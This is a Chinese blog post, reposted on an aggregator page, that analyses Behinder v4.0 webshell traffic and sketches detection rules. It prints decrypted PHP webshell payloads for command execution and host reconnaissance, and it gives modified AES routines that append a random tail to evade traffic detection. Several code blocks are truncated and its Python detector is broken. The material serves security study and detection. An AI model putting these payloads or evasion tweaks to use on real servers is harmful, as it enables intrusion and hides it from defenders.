最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

焦点热文:冰蝎V4.0流量分析到攻防检测

来源:博客园

0x01 前言

最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出。

0x02 环境搭建

这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI

冰蝎项目源码地址:https://github.com/MountCloud/BehinderClientSource


【资料图】

拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。

0x03 冰蝎的使用与流量分析

冰蝎的使用

我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。

这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为.php.aspx.jsp,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流)

我们可以看一下 shell.php(先对xor_base64的传输协议进行分析,后续分析xor_base64这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)

v4.0 的代码

这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。

v3.0 的代码

v3.0 和 v4.0 的区别很明显在于这里$_SESSION["k"]=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断extension_loaded,也就是判断服务端是否存在openssl拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的xor_base64加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的aes加密方式。

冰蝎流量分析

看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输

第一阶段-密钥协商

1.攻击者通过 GET 或者 POST 方法,形如http://127.0.0.1/shell.php?pass=645的请求服务器密钥;

2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的$_SESSION变量中,并返回密钥给攻击者。

第二阶段-加密传输

1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;

2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;

3)执行结果通过 AES 加密后返回给攻击者。

  • 但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到$_SESSION变量当中存储了 md5 的高 16 位,反而$_SESSION变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。

我先选取的是xor_base64的加密方式,我在连上马之后还执行了whoami命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。

第一段代码,经过xor_base64的解密,得到如下代码

@error_reporting(0);function main($content){    $result = array();    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode($content);    @session_start();         echo encrypt(json_encode($result));}function encrypt($data){        $key="25f9e794323b4538";     for($i=0;$i

我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了$_session,而msg和第一个包里的content是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此)

接着我们往下看相应报文,相应报文经过xor_base64解密之后结果如下

{"status":"c3VjY2Vzcw==","msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg=="}

经过 base64 解密,status对应的是 success,证明能够收到这个包,并且和前面对照上。

继续分析下一个包,代码如下,这里就进行了命令执行

error_reporting(0);function main($whatever) {        $result = array();        ob_start();     phpinfo();     $info = ob_get_contents();     ob_end_clean();        $driveList ="";        if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){                for($i=65;$i<=90;$i++) {                $drive=chr($i).":/";                file_exists($drive) ? $driveList=$driveList.$drive.";":"";            }        } else {        $driveList="/";    }        $currentPath=getcwd();        //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;    $osInfo=PHP_OS;        $arch="64";        if (PHP_INT_SIZE == 4) {        $arch = "32";        }        $localIp=gethostbyname(gethostname());        if ($localIp!=$_SERVER["SERVER_ADDR"]) {                $localIp=$localIp." ".$_SERVER["SERVER_ADDR"];        }        $extraIps=getInnerIP();        foreach($extraIps as $ip) {                if (strpos($localIp,$ip)===false) {                     $localIp=$localIp." ".$ip;                }        }        $basicInfoObj=array(        "basicInfo"=>base64_encode($info),        "driveList"=>base64_encode($driveList),        "currentPath"=>base64_encode($currentPath),        "osInfo"=>base64_encode($osInfo),        "arch"=>base64_encode($arch),        "localIp"=>base64_encode($localIp));            //echo json_encode($result);            $result["status"] = base64_encode("success");            $result["msg"] = base64_encode(json_encode($basicInfoObj));            //echo json_encode($result);            //echo openssl_encrypt(json_encode($result), "AES128", $key);            echo encrypt(json_encode($result));    }    function getInnerIP()    {        $result = array();        if (is_callable("exec"))        {                $result = array();                exec("arp -a",$sa);                foreach($sa as $s)                {                        if (strpos($s,"---")!==false) {                    $parts=explode(" ",$s);                    $ip=$parts[1];                    array_push($result,$ip);                }                 //var_dump(explode(" ",$s));                           // array_push($result,explode(" ",$s)[1]);                }        }        return $result;    }    function encrypt($data)    {            $key="25f9e794323b4538";         for($i=0;$i
  • 这里我不太明白传入的$whatever是做什么的,感觉没什么用,这个脚本本质上还是在运行phpinfo()的命令执行。

把相应包解密出来,内容如下

{"status":"c3VjY2Vzcw==","msg":"xxx略,篇幅太长"}

把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是phpinfo()的命令回显。

至于后面的命令执行部分,是比较好分析的

把流量包提取出来,进行解密

@error_reporting(0);​function getSafeStr($str){    $s1 = iconv("utf-8","gbk//IGNORE",$str);    $s0 = iconv("gbk","utf-8//IGNORE",$s1);    if($s0 == $str){        return $s0;    }else{        return iconv("gbk","utf-8//IGNORE",$str);    }}function main($cmd,$path){    @set_time_limit(0);    @ignore_user_abort(1);    @ini_set("max_execution_time", 0);    $result = array();    $PadtJn = @ini_get("disable_functions");    if (! empty($PadtJn)) {        $PadtJn = preg_replace("/[, ]+/", ",", $PadtJn);        $PadtJn = explode(",", $PadtJn);        $PadtJn = array_map("trim", $PadtJn);    } else {        $PadtJn = array();    }    $c = $cmd;    if (FALSE !== strpos(strtolower(PHP_OS), "win")) {        $c = $c . " 2>&1\n";    }    $JueQDBH = "is_callable";    $Bvce = "in_array";    if ($JueQDBH("system") and ! $Bvce("system", $PadtJn)) {        ob_start();        system($c);        $kWJW = ob_get_contents();        ob_end_clean();    } else if ($JueQDBH("proc_open") and ! $Bvce("proc_open", $PadtJn)) {        $handle = proc_open($c, array(            array(                "pipe",                "r"            ),            array(                "pipe",                "w"            ),            array(                "pipe",                "w"            )        ), $pipes);        $kWJW = NULL;        while (! feof($pipes[1])) {            $kWJW .= fread($pipes[1], 1024);        }        @proc_close($handle);    } else if ($JueQDBH("passthru") and ! $Bvce("passthru", $PadtJn)) {        ob_start();        passthru($c);        $kWJW = ob_get_contents();        ob_end_clean();    } else if ($JueQDBH("shell_exec") and ! $Bvce("shell_exec", $PadtJn)) {        $kWJW = shell_exec($c);    } else if ($JueQDBH("exec") and ! $Bvce("exec", $PadtJn)) {        $kWJW = array();        exec($c, $kWJW);        $kWJW = join(chr(10), $kWJW) . chr(10);    } else if ($JueQDBH("exec") and ! $Bvce("popen", $PadtJn)) {        $fp = popen($c, "r");        $kWJW = NULL;        if (is_resource($fp)) {            while (! feof($fp)) {                $kWJW .= fread($fp, 1024);            }        }        @pclose($fp);    } else {        $kWJW = 0;        $result["status"] = base64_encode("fail");        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");        $key = $_SESSION["k"];        echo encrypt(json_encode($result));        return;​    }    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode(getSafeStr($kWJW));    echo encrypt(json_encode($result));}​​function encrypt($data){    $key="25f9e794323b4538";        for($i=0;$i

一些疑问和改进点

简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点

  • 1、连马是如何连上的,看起来 shell.php 需要我们 post 传入$data,这一步在流量分析中并没有抓到。

  • 2、针对aesxor_base64进行加密的防御型脚本检测。

  • 3、冰蝎的改写,是否可以采用新型加密方式。

0x04 冰蝎传输与攻防

冰蝎传输与连马&命令执行

  • 一开始这里我也不太理解,后面在看了冰蝎作者的文章之后恍然大悟,原文链接 ——https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A

冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 "rebeyond",但是冰蝎 v4.0 的马使用蚁剑,以 "rebeyond" 作为密码是连不上的(亲测

在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。

首先看一下冰蝎Payload流转的流程图:

可以分为这五个流程

  • 1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端;

  • 2、服务端收到 Payload 密文后,利用解密算法进行解密;

  • 3、服务端执行解密后的 Payload,并获取执行结果;

这三步的基础是 shell.php,通过 post 请求传 body

在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。

对应的代码如下,这是冰蝎当中payload/php下的代码 ————Echo.php

  • 在实际传输过程中会发现冰蝎发包时多了一个encrypt()函数,我后续会对这一现象进行解释。

@error_reporting(0);​function main($content){    $result = array();    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode($content);    @session_start();    //初始化session,避免connect之后直接background,后续get result无法获取cookie    echo encrypt(json_encode($result));}​function encrypt($data){        $key="25f9e794323b4538";     for($i=0;$i

在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行phpinfo()命令,代码略。

接着

  • 4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端;

  • 5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。

响应内容略,在上文中已经提到过。

由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为JavaPHPC#ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。

如下是一个最简单的 php 版本的传输协议:

传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在shell.php中存在一个Decrypt()函数,且每一次的发包中有encrypt()函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此)

针对冰蝎xor_base64的检测脚本编写

内容是基于 LiRiu 师傅的文章写的

  • 我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。

因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求phpinfo()时的包

针对一些 HTTP 头的检测

HTTP 请求头

它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点

Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: identityAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。

Content-Length 较大

Content-Length: 8244

可以作为辅助特征进行检测。

冰蝎通讯默认使用长连接

造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。

Connection: Keep-Alive

端口检测

冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。

针对恶意脚本内容的检测

冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以@error_reporting开头

@error_reporting(0); function main

所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个xor_base64,单纯检测恶意脚本的 python 程序如下

from base64 import b64decode​phrases = [    "assert|eval(base64_decode("".encode(),    b"

接着加上辅助判断

def auxiliaryPoints(HeaderData):      # 辅助判断的函数    evilPoint = 0    list = []    LightBlacklist = [        b"Accept: application/json, text/javascript, */*; q=0.01",        b"Accept-Encoding: identity",        b"Connection: Keep-Alive",    ]​    for temp in HeaderData:        list.append(temp)    lenData = 0    while lenData <= HeaderData.length():        if(list[lenData].contains(LightBlacklist)):            evilPoint = evilPoint + 10    return evilPoint

LiRiu 师傅的可以,但是我自己的包失败了。。

冰蝎马的改写与绕过 tips

冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。

加密算法

本地默认的 aes 传输协议加密算法如下:

private byte[] Encrypt(byte[] data) throws Exception    {        String key="e45e329feb5d925b";        byte[] raw = key.getBytes("utf-8");        javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");        javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"        cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);        byte[] encrypted = cipher.doFinal(data);        Class baseCls;        try        {            baseCls=Class.forName("java.util.Base64");            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);            encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});        }        catch (Throwable error)        {            baseCls=Class.forName("sun.misc.BASE64Encoder");            Object Encoder=baseCls.newInstance();            String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});            result=result.replace("\n", "").replace("\r", "");            encrypted=result.getBytes();        }        return encrypted;    }

服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组

修改后本地

private byte[] Encrypt(byte[] data) throws Exception{    String key="e45e329feb5d925b";    byte[] raw = key.getBytes("utf-8");    javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");    javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"    cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);    byte[] encrypted = cipher.doFinal(data);    Class baseCls;    try    {        baseCls=Class.forName("java.util.Base64");        Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);        encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});    }    catch (Throwable error)    {        baseCls=Class.forName("sun.misc.BASE64Encoder");        Object Encoder=baseCls.newInstance();        String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});        result=result.replace("\n", "").replace("\r", "");        encrypted=result.getBytes();    }    //增加魔法尾巴    int magicNum=Integer.parseInt(key.substring(0,2),16)%16;    java.util.Random random=new java.util.Random();    byte[] buf=new byte[magicNum];    for (int i=0;i

远程

由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下:

function Encrypt($data)  {      $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond      $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));      $magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度      for($i=0;$i<$magicNum;$i++) {          $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴      }      return $encrypted;  }

解密算法

在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。

本地

private byte[] Decrypt(byte[] data) throws Exception{    String k="e45e329feb5d925b";    int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度    data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail    javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));    byte[] decodebs;    Class baseCls ;            try{                baseCls=Class.forName("java.util.Base64");                Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);                decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});            }            catch (Throwable e)            {                baseCls = Class.forName("sun.misc.BASE64Decoder");                Object Decoder=baseCls.newInstance();                decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});​            }    return c.doFinal(decodebs);}

远程

function Decrypt($data)  {      $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond      $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度      $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail      return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);  }

从理论上来说,这一种方式也可以绕过xor_base64的检测

0x05 小结

对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。

而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击。

更多靶场实验练习、网安学习资料,请点击这里>>

关键词: 传输协议 加密算法 的基础上